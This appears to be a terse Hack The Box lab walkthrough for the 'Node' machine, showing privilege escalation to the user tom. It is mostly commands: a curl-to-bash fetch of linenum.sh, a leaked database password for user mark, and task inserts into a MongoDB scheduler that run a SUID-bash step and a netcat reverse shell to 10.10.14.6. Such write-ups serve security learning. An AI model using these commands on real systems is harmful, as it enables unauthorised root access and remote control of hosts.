> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/node/priv-esc/tom.md). Agents can also search and read this documentation through its [MCP server](https://htb.adot8.com/~gitbook/mcp).

# tom

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FSYivEgIm1u8J4ENLbMQS%2Fimage.png?alt=media&amp;token=8dad0e3a-8d8a-47aa-be4a-a8b8639ef685" alt=""><figcaption></figcaption></figure>

```
curl http://10.10.14.6/linenum.sh | bash
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FiGrDnVuCCx8NE7yuOeGo%2Fimage.png?alt=media&amp;token=693758d9-3ef9-4c00-b401-121d1b1fd080" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FnEInYNxkzA2ewxZI72vY%2Fimage.png?alt=media&amp;token=4e4e537d-1b37-4e6d-9523-6a81fb89b231" alt=""><figcaption></figcaption></figure>

```
cat /var/scheduler/app.js
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FhtOptnLk0l2YsGueOp3I%2Fimage.png?alt=media&amp;token=2af07736-5f1b-4731-91d9-2dfd7314779b" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Looks like it will run a command (system command) as a child process then delete the task
{% endhint %}

```
mark:5AYRft73VtFpc84k
```

```
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 
connecting to: scheduler
> db.tasks
scheduler.tasks
> db.tasks.insert( {"cmd" : "cp /bin/bash /tmp/adot8; chmod 6755 /bin/bash;" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6661beb7ec323c4579a20eae"), "cmd" : "cp /bin/bash /tmp/adot8; chmod 6755 /bin/bash;" }
> db.tasks
scheduler.tasks
> 
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2Fy7SZlbWOnX3b6Tb8d8G7%2Fimage.png?alt=media&amp;token=83fdcc1b-9a9b-4344-b7a0-795f4b1a7b9e" alt=""><figcaption></figcaption></figure>

```
mark@node:/tmp$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 
connecting to: scheduler
> db.tasks.insert( {"cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.6 1337 >/tmp/f" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
> 
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FvuM0yQCehlSnlQ5J9rrO%2Fimage.png?alt=media&amp;token=f1df11b0-a0cf-4aa8-bb29-5cbe86307608" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FtxVQcyrQLUs2IYbE12Se%2Fimage.png?alt=media&amp;token=4143d366-3419-409a-87a7-2dad363557e8" alt=""><figcaption></figcaption></figure>
